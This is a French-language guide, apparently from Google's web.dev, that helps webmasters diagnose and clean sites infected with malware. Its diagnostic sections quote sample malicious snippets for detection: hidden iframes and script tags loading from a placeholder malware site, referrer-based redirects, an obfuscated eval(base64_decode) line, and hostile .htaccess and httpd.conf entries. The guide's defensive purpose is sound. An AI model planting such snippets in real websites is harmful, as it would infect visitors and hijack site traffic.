Un logiciel malveillant est un logiciel ou une application mobile spécialement conçu pour endommager un ordinateur, un appareil mobile ou le logiciel exécuté, ou pour nuire à ses utilisateurs. Pour en savoir plus sur ce qu'est un logiciel malveillant, consultez Logiciels malveillants et indésirables.
Si votre site contient des logiciels malveillants, l'avertissement Ce site risque d'endommager votre ordinateur s'affiche généralement dans les résultats de recherche ou sur une page interstitielle du navigateur lorsqu'ils tentent d'accéder à votre site. Exemple:
![Page interstitielle représentative de logiciels malveillants](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=6&hl=fr)
Pour ce faire, vous devez disposer des éléments suivants :
- un accès administrateur shell ou terminal aux serveurs de votre site (Web, base de données et fichiers) ;
- Vous connaissez les commandes de l'interface système ou du terminal.
- La possibilité d'exécuter des requêtes SQL sur la base de données.
Préparation
- Inscrivez-vous à la Search Console et confirmez que vous êtes le propriétaire du site piraté comme décrit ici. La Search Console fournit un échantillon de pages affectées, ce qui facilite grandement la recherche et la résolution des problèmes de piratage. En outre, vous recevez un avertissement lorsque votre site est infecté par de nombreux types de logiciels malveillants ou d'autres types de piratage.
Consultez la page de diagnostic de la navigation sécurisée Google pour accéder à des informations publiques concernant le danger potentiel d'un site pour les internautes. Vous pouvez consulter l'état de la fiche de votre page ou de votre site à une URL semblable à celle-ci :
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Exemple :https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
peut être l'URL d'une page spécifique (http://example.com/badpage
) ou l'intégralité de votre site (example.com).Évitez d'utiliser un navigateur pour afficher des pages de votre site. Étant donné que les logiciels malveillants se propagent souvent en exploitant les failles des navigateurs, ouvrir une page infectée dans un navigateur peut endommager votre ordinateur. À moins que les instructions de diagnostic ne vous indiquent d'accéder directement à la page dans votre navigateur, utilisez cURL ou Wget pour effectuer des requêtes HTTP (par exemple, pour explorer une page).
Ces outils disponibles sans frais sont utiles pour diagnostiquer les redirections. Ils permettent d'inclure des informations sur les URL de provenance ou les user-agents. L'ajout d'un user-agent ou d'un URL de provenance spécifique permet d'imiter les pirates informatiques, car ceux-ci peuvent ne diffuser du contenu malveillant qu'aux utilisateurs ayant des user-agents ou des URL de provenance spécifiques, afin de cibler davantage de "personnes réelles" et d'éviter d'être détectés par les propriétaires de sites et les détecteurs de logiciels malveillants.
`curl -v --referer "http://www.google.com" <your-url>`
Voici un exemple spécifiant à la fois un user-agent et une URL de provenance:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Nous vous recommandons d'explorer une page avec et sans --referer "https://www.google.com"
, car certains logiciels malveillants ne sont activés que lorsque les utilisateurs proviennent des résultats de recherche Google.
Créez un document pour enregistrer les résultats de cette étape. Le document comprendra à terme (au minimum) le nom et l'emplacement de chaque fichier endommagé ainsi que des notes sur la façon dont il a été infecté. Il servira de base pour Nettoyer votre site et en assurer la maintenance.
Regardez la vidéo précédente sur cette page pour découvrir le fonctionnement des logiciels malveillants et comment vous protéger pendant que vous recherchez des logiciels malveillants.
Diagnostic
Identifiez les logiciels malveillants qui affectent votre site:
- Ouvrez le rapport sur les problèmes de sécurité de votre site dans la Search Console. Développez la description de l'avertissement de logiciel malveillant pour afficher une liste d'exemples de pages affectées. Notez que cette liste n'est pas exhaustive. Vous ne trouverez peut-être pas de pages d'exemple pour tous les types de logiciels malveillants présents sur votre site.
- Testez vos pages d'exemple pour détecter les types de logiciels malveillants suivants.
Logiciel malveillant de configuration du serveur (redirections indésirables)
Un pirate informatique a compromis votre site et redirige les visiteurs de votre site de confiance vers le site infecté par un logiciel malveillant, probablement en modifiant le ou les fichiers de configuration de votre serveur. Les fichiers de configuration de serveur permettent généralement à l'administrateur du site de spécifier des redirections d'URL pour des pages ou des répertoires spécifiques d'un site Web. Par exemple, sur les serveurs Apache, il s'agit du fichier .htaccess
ainsi que du fichier httpd.conf
.
Diagnostic
Consultez quelques exemples d'URL figurant dans le rapport sur les problèmes de sécurité. Une réponse d'une page infectée par l'infection par la "configuration du serveur" peut inclure les en-têtes suivants:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Identifier les fichiers concernés
Connectez-vous à votre serveur via un accès via l'interface système ou un terminal (le site peut être hors connexion si vous le souhaitez) et examinez les fichiers de configuration du serveur pertinents. Il est possible que plusieurs fichiers de configuration de serveur soient piratés sur votre site. Recherchez les instructions indésirables dans ces fichiers, telles que les redirections vers des sites inconnus. Par exemple, dans le fichier .htaccess
, une redirection semblable à celle-ci peut s'afficher:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
Injection SQL
Un pirate informatique a compromis la base de données de votre site. Par exemple, le pirate informatique peut avoir inséré un code malveillant de manière programmatique dans chaque enregistrement d'une table de base de données. Ainsi, lorsque le serveur charge une page nécessitant des informations provenant de la base de données, le code malveillant est désormais intégré au contenu de la page et peut nuire aux visiteurs du site.
Diagnostic
- Exécutez des requêtes sur les URL concernées dans la ligne de commande et examinez la réponse pour des termes d'attaque SQL tels que "iFrame" ou "eval".
Connectez-vous au serveur de base de données ou affichez votre base de données à l'aide d'un outil tel que phpMyAdmin. Si vous avez utilisé Wget ou cURL, essayez de corréler les dommages détectés dans le code source de la page via Wget ou cURL avec les entrées réelles de la base de données. Par exemple, si vous constatez que vos pages contiennent un iFrame dangereux, vous pouvez exécuter une requête SQL pour rechercher du code iFrame. Exemple :
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Vous pouvez également vérifier que les fichiers journaux et les fichiers d'erreur de la base de données de votre serveur ne présentent pas d'activités inhabituelles, telles que des commandes SQL inattendues qui semblent inhabituelles pour les utilisateurs standards ou les erreurs.
Résoudre le problème
Mettez à jour chaque enregistrement de la base de données infectée ou restaurez votre dernière sauvegarde de base de données connue.
Injection de code
Des pages de votre site ont été modifiées pour inclure du code malveillant, tel qu'un iFrame vers un site pirate contenant un logiciel malveillant.
Diagnostic
Consultez certains des exemples d'URL indiqués dans le rapport sur les problèmes de sécurité avec cURL ou wGet, et recherchez du code suspect. Le code injecté peut prendre de nombreux types et être difficile à trouver. Il peut être utile de rechercher des mots tels que "iFrame" pour trouver le code iFrame. Recherchez aussi "script", "eval" et "unescape". Par exemple, pour rechercher "iframe" dans tous les fichiers sur un système Unix:
$grep -irn "iframe" ./ | less</pre>
Voici quelques schémas de logiciels malveillants courants à repérer.
Un iFrame qui charge un site malveillant:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
langage JavaScript ou autre langage de script qui appelle et exécute des scripts provenant d'un site pirate:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Script qui redirige le serveur vers un site pirate :
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Code malveillant dissimulé pour ne pas être détecté:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
Fichiers d'objets partagés conçus pour écrire de manière aléatoire un code malveillant sur des scripts inoffensifs:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Modèles d'erreurs malveillantes
Le modèle utilisé pour les messages d'erreur (par exemple, "404 File not Found") est configuré pour distribuer des logiciels malveillants. De cette manière, les pirates informatiques peuvent lancer des attaques sur des URL qui n'existent même pas sur votre site.
Diagnostic
Demandez une page de votre site qui n'existe pas ou qui génère un autre type d'erreur, et examinez la réponse pour voir si elle provient d'un autre site ou si elle contient un logiciel malveillant.
Résoudre le problème
Connectez-vous à votre serveur Web et recherchez les instructions de page d'erreur dans les fichiers de configuration de votre serveur. Par exemple, le modèle d'erreur pour les serveurs Web Apache peut être déclaré dans le fichier .htaccess
. Voici un exemple d'entrée de fichier .htaccess
qui récupère les pages d'erreur 404 à partir d'un site malveillant:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Lorsque vous êtes prêt à nettoyer votre site, remplacez le ou les fichiers .htaccess
par une sauvegarde non infectée connue ou supprimez les instructions ErrorDocument indésirables dans les fichiers .htaccess
existants. Veillez également à nettoyer les fichiers d'erreur
réels s'ils se trouvent sur votre site. Enfin, redémarrez votre serveur Web pour vous assurer que toutes les modifications prennent effet.
Chargement des ressources à partir d'un site infecté ou malveillant {compromised-resources}
Votre site utilise du contenu ou des ressources provenant d'un site Web connu pour comporter du contenu malveillant. Il peut s'agir de fichiers JavaScript, d'images ou d'autres fichiers. C'est pourquoi votre site sera signalé comme contenant un logiciel malveillant chargé à partir de cet autre site.
Diagnostic
Consultez quelques exemples d'URL figurant dans le rapport sur les problèmes de sécurité.
Résoudre le problème
- Confirmez le problème en accédant à quelques-uns des exemples d'URL répertoriés dans le rapport sur les problèmes de sécurité de la Search Console. Un avertissement doit s'afficher dans le navigateur.
- L'avertissement du navigateur indique le domaine du contenu mis en cause. Supprimez toutes les références au site marqué répertoriées dans l'avertissement du navigateur. Si le contenu d'un site signalé a été inclus à votre insu, le problème est plus grave. Il est fort probable que votre site ait été piraté. Nous vous conseillons donc de continuer l'examen pour détecter d'autres piratages et vulnérabilités.
- Si vous avez intentionnellement inclus le contenu d'un site légitime qui a été signalé et que vous souhaitez le réintégrer après le nettoyage du site signalé, vous pouvez surveiller l'état de ce site à l'aide de la page de diagnostics de navigation sécurisée Google pour ce site (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}. En général, les propriétaires de sites légitimes suppriment ces données rapidement.
Enquêtes approfondies
Ensuite, recherchez d'autres fichiers malveillants ou modifications sur votre système. Le pirate informatique peut avoir modifié des pages ou des enregistrements de base de données existants, créé des pages contenant du spam, écrit des fonctions qui affichent du spam sur des pages non infectées, laissé des "portes dérobées" qui lui permettent de revenir sur votre site ou injecter à nouveau du code malveillant que vous avez supprimé.
Si votre site est en ligne, pensez à le déconnecter pour que nous examinions la situation.
Si vous disposez d'une sauvegarde de votre site que vous savez être en bonne et due forme, déterminez quels fichiers ont été créés ou modifiés depuis la sauvegarde, puis examinez-les. Sur les systèmes Unix, vous pouvez utiliser une commande comme celle-ci pour rechercher de nouveaux fichiers:
diff -qr <current-directory> <backup-directory>
Exemple :
diff -qr www/ backups/full-backup-20120124/
aussi:
md5sum <current-page> <backup-page>
Exemple :
md5sum www/page.html backups/full-backup-20120124/page.html
Vérifiez que les journaux de serveur, d'accès et d'erreurs ne présentent aucune activité suspecte telle que des tentatives de connexion ayant échoué, l'historique des commandes (en particulier en tant qu'utilisateur racine) et la création de comptes utilisateur inconnus. Sachez que le pirate informatique peut avoir modifié ces journaux à ses propres fins. Quelques exemples sont présentés dans la vidéo Identifier la faille.
Vérifiez les redirections dans les fichiers de configuration. Les fichiers de configuration sont généralement nommés .htaccess
et httpd.conf
. Les pirates informatiques créent souvent des redirections conditionnelles en fonction du user-agent, de l'heure de la journée ou de l'URL de provenance. Si vous devez mettre à jour des fichiers de configuration, vous devrez peut-être redémarrer votre serveur pour que les modifications soient prises en compte.
Vérifiez que les autorisations des dossiers et des fichiers sont trop larges. Les pirates informatiques falsifient les autorisations, car si les autorisations permises ne sont pas détectées par le propriétaire du site, le pirate informatique aura un moyen d'y accéder à nouveau. Les fichiers dont la taille est supérieure à 644 (rw-r--r--)
et les dossiers dont la taille est supérieure à 755 (rwxr-xr-x)
peuvent entraîner des problèmes de sécurité. Assurez-vous que toute autorisation plus large est vraiment nécessaire. Sur les systèmes basés sur Unix, essayez:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
et :
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Si vous possédez une base de données, examinez les enregistrements un par un à l'aide d'un outil tel que phpMyAdmin.